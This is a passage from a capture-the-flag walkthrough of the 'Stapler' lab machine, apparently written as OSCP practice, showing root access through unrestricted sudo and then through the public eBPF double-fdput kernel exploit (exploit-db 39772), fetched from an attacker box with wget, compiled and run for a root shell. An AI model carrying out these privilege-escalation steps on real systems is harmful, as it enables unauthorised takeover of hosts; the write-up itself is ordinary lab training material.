[sudo] password for peter: 
Matching Defaults entries for peter on red:
    lecture=always, env_reset, mail_badpass,

User peter may run the following commands on red:
    (ALL : ALL) ALL

So … technically this means that it should a fairly easy path to root:

red% sudo su
➜  peter whoami
➜  peter id
uid=0(root) gid=0(root) groups=0(root)
➜  peter 

Yay …. we are root!

Step 2: Capturing the Root Flag

We can cd into /root and browse around:

➜  peter cd /root
➜  ~ pwd
➜  ~ ls -lah
total 208K
drwx------  4 root root 4.0K Jan 22 22:57 .
drwxr-xr-x 22 root root 4.0K Jun  7  2016 ..
-rw-------  1 root root    1 Jun  5  2016 .bash_history
-rw-r--r--  1 root root 3.1K Oct 22  2015 .bashrc
-rwxr-xr-x  1 root root 1.1K Jun  5  2016
-rw-r--r--  1 root root  463 Jun  5  2016 flag.txt
-rw-r--r--  1 root root  345 Jun  5  2016 issue
-rw-r--r--  1 root root   50 Jun  3  2016 .my.cnf
-rw-------  1 root root    1 Jun  5  2016 .mysql_history
drwxr-xr-x 11 root root 4.0K Jun  3  2016 .oh-my-zsh
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rwxr-xr-x  1 root root  103 Jun  5  2016
-rw-------  1 root root 1.0K Jun  5  2016 .rnd
drwxr-xr-x  2 root root 4.0K Jun  4  2016 .vim
-rw-------  1 root root    1 Jun  5  2016 .viminfo
-rw-r--r--  1 root root  54K Jun  5  2016 wordpress.sql
-rw-r--r--  1 root root  39K Jun  3  2016 .zcompdump
-rw-r--r--  1 root root  39K Jun  3  2016 .zcompdump-red-5.1.1
-rw-------  1 root root   39 Jun  5  2016 .zsh_history
-rw-r--r--  1 root root 2.8K Jun  3  2016 .zshrc
-rw-r--r--  1 root root   17 Jun  3  2016 .zsh-update
➜  ~ 

Sure enough, there is file called flag.txt which is then subject to a cat operation, plus we capture the hostname and IP address data too (good practice for OSCP!):

➜  ~ cat flag.txt
                          |       |
                          |       |
         _,._             |       |
    __.o`   o`"-.         |       |
 .-O o `"-.o   O )_,._    |       |
( o   O  o )--.-"`O   o"-.`'-----'`
 '--------'  (   o  O    o)  

➜  ~ hostname
➜  ~ ifconfig
enp0s3    Link encap:Ethernet  HWaddr 08:00:27:f0:4b:5a  
          inet addr:  Bcast:  Mask:
          RX packets:6030 errors:0 dropped:0 overruns:0 frame:0
          TX packets:3623 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:634161 (634.1 KB)  TX bytes:1587205 (1.5 MB)
          Interrupt:9 Base address:0xd000 

lo        Link encap:Local Loopback  
          inet addr:  Mask:
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:1088 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1088 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1 
          RX bytes:75819 (75.8 KB)  TX bytes:75819 (75.8 KB)

➜  ~ 

Privesc Option 2

Step 0: LinEnum review & Exploit Research

From the linenum report we can see the following:

Linux version 4.4.0-21-generic (buildd@lgw01-06) (gcc version 5.3.1 20160413 (Ubuntu 5.3.1-14ubuntu2) ) #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016

A quick check with searchsploit reveals a number of potential exploits

root@009-klvfi200:~/vulnhub/stapler/exploit# searchsploit ubuntu 16.04 4.4
------------------------------------------------------------------------------ ----------------------------------------
 Exploit Title                                                                |  Path
                                                                              | (/usr/share/exploitdb/)
------------------------------------------------------------------------------ ----------------------------------------
Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF' Local Privilege Escalation (Metasploi | exploits/linux/local/40759.rb
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition P | exploits/linux_x86-64/local/40871.c
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter target_offset Out-of-Bou | exploits/linux_x86-64/local/40049.c
Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privi | exploits/linux/local/39772.txt
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation        | exploits/linux/local/44298.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local  | exploits/linux/local/44300.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege E | exploits/linux/local/43418.c
------------------------------------------------------------------------------ ----------------------------------------
Shellcodes: No Result

Step 1: Preparing the exploit

After some trial and error, we make progress with the double-fdput() exploit (39772.txt). The exploit depends on gcc being installed, but thankfully which gcc reveals that it is available in /usr/bin/gcc

Opening the .txt file reveals a download path for exploit-db:


This is downloaded to our attacking box, and with the help of a python webserver running on the attacking box, the file is transferred to the target box (wget)

The file is then unzipped

www-data@red:/tmp$ unzip
   creating: 39772/
  inflating: 39772/.DS_Store         
   creating: __MACOSX/
   creating: __MACOSX/39772/
  inflating: __MACOSX/39772/._.DS_Store  
  inflating: 39772/crasher.tar       
  inflating: __MACOSX/39772/._crasher.tar  
  inflating: 39772/exploit.tar       
  inflating: __MACOSX/39772/._exploit.tar  

We then cd into 39772 and examine the folder contents

www-data@red:/tmp$ ls
39772  __MACOSX
www-data@red:/tmp$ cd 39772
cd 39772
www-data@red:/tmp/39772$ ls
crasher.tar  exploit.tar

We untar the exploit.tar file

www-data@red:/tmp/39772$ tar -xvf exploit.tar
tar -xvf exploit.tar
www-data@red:/tmp/39772$ ls -lah
ls -lah
total 52K
drwxr-xr-x 3 www-data www-data 4.0K Mar  2 23:25 .
drwxrwxrwt 9 root     root     4.0K Mar  2 23:25 ..
-rw-r--r-- 1 www-data www-data 6.1K Aug 15  2016 .DS_Store
-rw-r--r-- 1 www-data www-data  10K Aug 15  2016 crasher.tar
drwxr-x--- 2 www-data www-data 4.0K Apr 25  2016 ebpf_mapfd_doubleput_exploit
-rw-r--r-- 1 www-data www-data  20K Aug 15  2016 exploit.tar

Another directory to cd into …

www-data@red:/tmp/39772$ cd ebpf_mapfd_doubleput_exploit
cd ebpf_mapfd_doubleput_exploit
www-data@red:/tmp/39772/ebpf_mapfd_doubleput_exploit$ ls

And we can see the files we need:

ls  doubleput.c  hello.c  suidhelper.c

Per the instructions in 39972.txt, we execute ./

www-data@red:/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./
doubleput.c: In function 'make_setuid':
doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    .insns = (__aligned_u64) insns,
doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    .license = (__aligned_u64)""

Aside from a few warnings, the compilation works ok. Time to run the exploit!

Step 2: Running the exploit

www-data@red:/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...

It appears to work! Now time to confirm we are root by attempting id, whoami and then grabbing the flag.

root@red:/tmp/39772/ebpf_mapfd_doubleput_exploit# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
root@red:/tmp/39772/ebpf_mapfd_doubleput_exploit# whoami
root@red:/tmp# cd /root
cd /root
root@red:/root# ls
ls  flag.txt  issue  wordpress.sql
root@red:/root# cat flag.txt
cat flag.txt
                          |       |
                          |       |
         _,._             |       |
    __.o`   o`"-.         |       |
 .-O o `"-.o   O )_,._    |       |
( o   O  o )--.-"`O   o"-.`'-----'`
 '--------'  (   o  O    o)  


Root once again!

Privesc Option 3

This is the one that I overlooked (too much time at keyboard) and only just discovered when reading a great writeup by kooksec. Just look for ‘Privelege Escalation 2: SUID’. I’d also add that kooksec did a fine job of alternative ways of gaining an initial shell that I didn’t cover in my writeup.


A nice machine that requires the user to enumerate far and wide, paying attention to EVERY line of detail for anything that may be significant.